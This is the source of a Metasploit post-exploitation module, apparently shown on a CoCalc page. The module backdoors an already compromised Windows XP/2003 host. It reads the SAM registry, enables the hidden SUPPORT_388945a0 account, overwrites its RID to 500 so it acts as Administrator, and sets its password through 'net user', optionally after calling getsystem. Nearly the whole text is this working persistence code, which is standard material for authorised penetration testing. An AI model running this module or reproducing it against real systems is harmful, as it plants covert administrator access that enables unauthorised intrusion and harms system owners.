CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Post::Windows::Priv
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Manage Trojanize Support Account',
15
        'Description' => %q{
16
          This module enables alternative access to servers and workstations
17
          by modifying the support account's properties. It will enable
18
          the account for remote access as the administrator user while
19
          taking advantage of some weird behavior in lusrmgr.msc. It will
20
          check if sufficient privileges are available for registry operations,
21
          otherwise it exits.
22
        },
23
        'License' => MSF_LICENSE,
24
        'Author' => 'salcho <salchoman[at]gmail.com>',
25
        'Platform' => [ 'win' ],
26
        'SessionTypes' => [ 'meterpreter' ],
27
        'References'	=> [ 'http://xangosec.blogspot.com/2013/06/trojanizing-windows.html' ],
28
        'Compat' => {
29
          'Meterpreter' => {
30
            'Commands' => %w[
31
              priv_elevate_getsystem
32
            ]
33
          }
34
        }
35
      )
36
    )
37

38
    register_options(
39
      [
40
        OptString.new('PASSWORD', [true, 'Password of the support user account', 'password']),
41
        OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false])
42
      ]
43
    )
44
  end
45

46
  def run
47
    reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'
48

49
    unless is_system?
50
      if datastore['GETSYSTEM']
51
        print_status('Trying to get system...')
52
        res = session.priv.getsystem
53
        if res[0]
54
          print_good('Got system!')
55
        else
56
          print_error('Unable to get system! You need to run this script.')
57
          return
58
        end
59
      else
60
        print_error('You need to run this script as system!')
61
        return
62
      end
63
    end
64

65
    version = get_version_info
66
    unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2)
67
      print_error("#{version.product_name} is not supported")
68
      return
69
    end
70

71
    print_status("Target OS is #{version.product_name}")
72
    names_key = registry_enumkeys(reg_key + '\\Names')
73
    unless names_key
74
      print_error("Couldn't access registry keys")
75
      return
76
    end
77

78
    rid = -1
79
    print_status('Harvesting users...')
80
    names_key.each do |name|
81
      next unless name.include? 'SUPPORT_388945a0'
82

83
      print_good("Found #{name} account!")
84
      skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')
85
      if !skey
86
        print_error("Couldn't open user's key")
87
        return
88
      end
89
      rid = skey['Type']
90
      print_status("Target RID is #{rid}")
91
    end
92

93
    if rid == -1
94
      print_error("Couldn't get user's RID...")
95
      return
96
    end
97

98
    users_key = registry_enumkeys(reg_key)
99
    users_key.each do |r|
100
      next if r.to_i(16) != rid
101

102
      f = registry_getvaldata(reg_key + "\\#{r}", 'F')
103
      if check_active(f)
104
        print_status('Account is disabled, activating...')
105
        f[0x38] = ['10'].pack('H')
106
      else
107
        print_error('Target account is already enabled')
108
      end
109

110
      print_status('Swapping RIDs...!')
111
      # Overwrite RID to 500 (as administrator)
112
      f = swap_rid(f, 500)
113

114
      open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')
115
      unless open_key
116
        print_error("Can't write to registry... Something's wrong!")
117
        return
118
      end
119

120
      print_status("Setting password to #{datastore['PASSWORD']}")
121
      cmd = cmd_exec('cmd.exe', "/c net user support_388945a0 #{datastore['PASSWORD']}")
122
      vprint_status(cmd.to_s)
123
    end
124
  end
125

126
  def check_active(f)
127
    if f[0x38].unpack('H*')[0].to_i == 11
128
      return true
129
    else
130
      return false
131
    end
132
  end
133

134
  def swap_rid(f, rid)
135
    # This function will set hex format to a given RID integer
136
    hex = [('%04x' % rid).scan(/.{2}/).reverse.join].pack('H*')
137
    # Overwrite new RID at offset 0x30
138
    f[0x30, 2] = hex
139
    return f
140
  end
141
end
142

143